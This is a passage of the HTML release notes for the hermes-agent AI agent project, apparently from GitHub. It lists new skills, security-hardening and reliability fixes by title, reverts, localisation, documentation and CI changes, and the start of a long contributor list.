<li><strong>Hyperliquid</strong> — perp/spot trading via SDK + REST (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4096174558" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/1952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/1952/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/1952">#1952</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23583/hovercard">#23583</a>)</li>
<li><strong>Yahoo Finance</strong> market data (<a href="https://github.com/NousResearch/hermes-agent/pull/23590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23590/hovercard">#23590</a>)</li>
<li><strong>api-testing</strong> (REST/GraphQL debug, salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090616596" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/1800" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/1800/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/1800">#1800</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23582/hovercard">#23582</a>)</li>
<li><strong>Unified EVM multi-chain skill</strong> (salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441931751" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25291" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25291/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25291">#25291</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098909401" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2010" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2010/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2010">#2010</a> + folds in base/) (<a href="https://github.com/NousResearch/hermes-agent/pull/25299" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25299/hovercard">#25299</a>)</li>
<li><strong>darwinian-evolver</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26760" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26760/hovercard">#26760</a>)</li>
<li><strong>osint-investigation</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4020048213" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/355" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/355/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/355">#355</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26729" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26729/hovercard">#26729</a>)</li>
<li><strong>pinggy-tunnel</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26765" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26765/hovercard">#26765</a>)</li>
<li><strong>watchers</strong> — RSS / HTTP JSON / GitHub polling via cron no-agent (<a href="https://github.com/NousResearch/hermes-agent/pull/21881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21881/hovercard">#21881</a>)</li>
<li><strong>Notion overhaul for the Developer Platform</strong> (May 2026) (<a href="https://github.com/NousResearch/hermes-agent/pull/26612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26612/hovercard">#26612</a>)</li>
</ul>
<hr>
<h2>🔒 Security &amp; Reliability</h2>
<h3>Security hardening</h3>
<ul>
<li><strong>Sudo brute-force block + sudo-stdin/askpass DANGEROUS</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4410605303" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22194/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22194">#22194</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4397828876" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21128" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21128/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21128">#21128</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23736/hovercard">#23736</a>)</li>
<li><strong>Drop caller-controlled author override in <code>kanban_comment</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409830771" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22109/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22109">#22109</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22435/hovercard">#22435</a>)</li>
<li><strong>Cover remaining SSRF fetch paths in skills-hub</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413740551" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22804" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22804/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22804">#22804</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22843/hovercard">#22843</a>)</li>
<li><strong>Use credential_pool for custom endpoint model listing probes</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413750085" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22810" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22810/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22810">#22810</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22842/hovercard">#22842</a>)</li>
<li><strong>Require dashboard auth for plugin API routes</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374329621" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/19541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19541/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/19541">#19541</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23220/hovercard">#23220</a>)</li>
<li><strong>Sanitize env and redact output in quick commands + remove write-only <code>_pending_messages</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23584/hovercard">#23584</a>)</li>
<li><strong>Reduce unnecessary <code>shell=True</code> in subprocess calls</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25149/hovercard">#25149</a>)</li>
<li><strong>Sanitize Google Chat sender_type from relay</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409786696" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22107/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22107">#22107</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22432/hovercard">#22432</a>)</li>
<li><strong>Supply-chain advisory checker</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24220/hovercard">#24220</a>)</li>
<li><strong>Rewrite security policy around OS-level isolation as the boundary</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/20317" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20317/hovercard">#20317</a>)</li>
<li><strong>Remove public security advisory page</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24253/hovercard">#24253</a>)</li>
</ul>
<h3>Reliability — notable bug closures</h3>
<ul>
<li><strong>SQLite: fall back to <code>journal_mode=DELETE</code> on NFS/SMB/FUSE</strong> (fixes <code>/resume</code> on network mounts) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22043/hovercard">#22043</a>)</li>
<li><strong>Codex-runtime: retire wedged sessions + post-tool watchdog + OAuth refresh classify</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25769" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25769/hovercard">#25769</a>)</li>
<li><strong>Codex-runtime: de-dup <code>[plugins.X]</code> tables and stop leaking HERMES_HOME</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452637433" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/26250" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/26250/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/26250">#26250</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26260" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26260/hovercard">#26260</a>)</li>
<li><strong>Daytona: migrate legacy-sandbox lookup to cursor-based <code>list()</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24587/hovercard">#24587</a>)</li>
<li><strong>MCP: stop retrying initial MCP auth failures</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4445105387" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25624/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25624">#25624</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25776" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25776/hovercard">#25776</a>)</li>
<li><strong>Gateway: enable text-intercept for multi-choice clarify fallback</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4444770745" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25587/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25587">#25587</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25778/hovercard">#25778</a>)</li>
<li><strong>Gateway: keep running when platforms fail; per-platform circuit breaker + <code>/platform</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26600" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26600/hovercard">#26600</a>)</li>
<li><strong>Delegate: salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4407521894" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21933" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/21933/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/21933">#21933</a> JSON-string batch + diagnostic logging</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22436" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22436/hovercard">#22436</a>)</li>
<li><strong>Profiles+banner: exclude infrastructure from <code>--clone-all</code> + fix stale update-check repo resolution</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22475" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22475/hovercard">#22475</a>)</li>
<li><strong>ACP: inline file attachment resources</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400211653" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21400/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21400">#21400</a> + image support) (<a href="https://github.com/NousResearch/hermes-agent/pull/21407" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21407/hovercard">#21407</a>)</li>
<li><strong>CI: unblock shared PR checks</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21012/hovercard">#21012</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25957/hovercard">#25957</a>)</li>
</ul>
<h3>Notable reverts in window</h3>
<ul>
<li><strong><code>/goal</code> checklist + /subgoal feature stack</strong> — rolled back (<a href="https://github.com/NousResearch/hermes-agent/pull/23813" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23813/hovercard">#23813</a>); <code>/subgoal</code> returned in simpler form via <a href="https://github.com/NousResearch/hermes-agent/pull/25449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25449/hovercard">#25449</a></li>
<li><strong>Scrollback box width clamp</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4449744090" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25975" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25975/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25975">#25975</a>) rolled back to restore full-width borders (<a href="https://github.com/NousResearch/hermes-agent/pull/26163" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26163/hovercard">#26163</a>)</li>
<li><strong><code>fix(cli): tolerate unreadable dirs when building systemd PATH</code></strong> rolled back</li>
</ul>
<hr>
<h2>🌍 i18n</h2>
<ul>
<li><strong>Localize all gateway commands + web dashboard, add 8 new locales (16 total)</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22914" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22914/hovercard">#22914</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li><strong>Repair Voice &amp; TTS provider table</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nightcityblade/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nightcityblade">@nightcityblade</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425548878" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/24101" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/24101/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/24101">#24101</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24138" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24138/hovercard">#24138</a>)</li>
<li><strong>Show per-skill pages in the left sidebar</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26646" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26646/hovercard">#26646</a>)</li>
<li><strong>Mention Weixin in gateway help and docstrings</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4396673114" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21063/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21063">#21063</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wuwuzhijing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wuwuzhijing">@wuwuzhijing</a>)</li>
<li><strong>Richer info panels on the Skills Hub</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22905" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22905/hovercard">#22905</a>)</li>
<li>Many more doc updates across providers, platforms, skills, Windows install paths, and dashboard.</li>
</ul>
<hr>
<h2>🧪 Testing &amp; CI</h2>
<ul>
<li><strong>Unblock shared PR checks</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21012/hovercard">#21012</a>)</li>
<li><strong>Stabilize shared test state after 21012</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25957/hovercard">#25957</a>)</li>
<li>A long tail of test additions for platforms, providers, plugins, and edge cases — 8 explicit <code>test:</code> PRs plus ~250 fix PRs that also added regression coverage.</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead, architecture, ~406 PRs merged in window</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong> — 38 PRs · Telegram cadence/streaming/topic routing, security hardening (sudo, SSRF, kanban_comment, dashboard auth), codex-runtime hygiene, NovitaAI provider, profile/banner fixes, Feishu update cards, gateway QOL across the board</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></strong> — 13 PRs · Markdown-table TUI rendering, <code>HERMES_SESSION_ID</code> env var, hindsight-client optional dep, Nix <code>extraDependencyGroups</code></li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a></strong> (Brooklyn Nicholson) — 12 PRs · TUI turn segmentation, attach-to-gateway, markdown link titles, embedded TUI via dashboard gateway, Ink cursor sync, scroll/Esc during prompts</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a></strong> — 8 PRs · <code>/sessions</code> slash command, personality switching preserves session, cron modals, dashboard analytics</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a></strong> — 5 PRs · Google Chat setup, browser install skip on system chromium, Windows Ctrl+C preservation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a></strong> — 4 PRs · Nous Portal as model metadata authority, provider polish</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a></strong> — 3 PRs · CI stabilization</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a></strong> — 3 PRs · platform/gateway work</li>
</ul>
<h3>All contributors (alphabetical)</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/02356abc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/02356abc">@02356abc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xharryriddle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xharryriddle">@0xharryriddle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1000Delta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1000Delta">@1000Delta</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1RB/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1RB">@1RB</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/29206394/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/29206394">@29206394</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/A-kamal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/A-kamal">@A-kamal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aashizpoudel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aashizpoudel">@aashizpoudel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Abd0r/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Abd0r">@Abd0r</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AgentArcLab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AgentArcLab">@AgentArcLab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ahmedbadr3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ahmedbadr3">@ahmedbadr3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alblez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alblez">@alblez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alex-yang00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alex-yang00">@Alex-yang00</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ALIYILD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ALIYILD">@ALIYILD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AllynSheep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AllynSheep">@AllynSheep</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/am423/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/am423">@am423</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amathxbt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amathxbt">@amathxbt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amethystani/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amethystani">@amethystani</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ArecaNon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ArecaNon">@ArecaNon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Arkmusn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Arkmusn">@Arkmusn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/askclaw-vesper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/askclaw-vesper">@askclaw-vesper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AsoTora/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AsoTora">@AsoTora</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ayushere/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ayushere">@ayushere</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baocin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baocin">@baocin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BennetYrWang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BennetYrWang">@BennetYrWang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bihruze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bihruze">@Bihruze</a>, <a class="user-mention notranslate" data-hovercard-type="user" 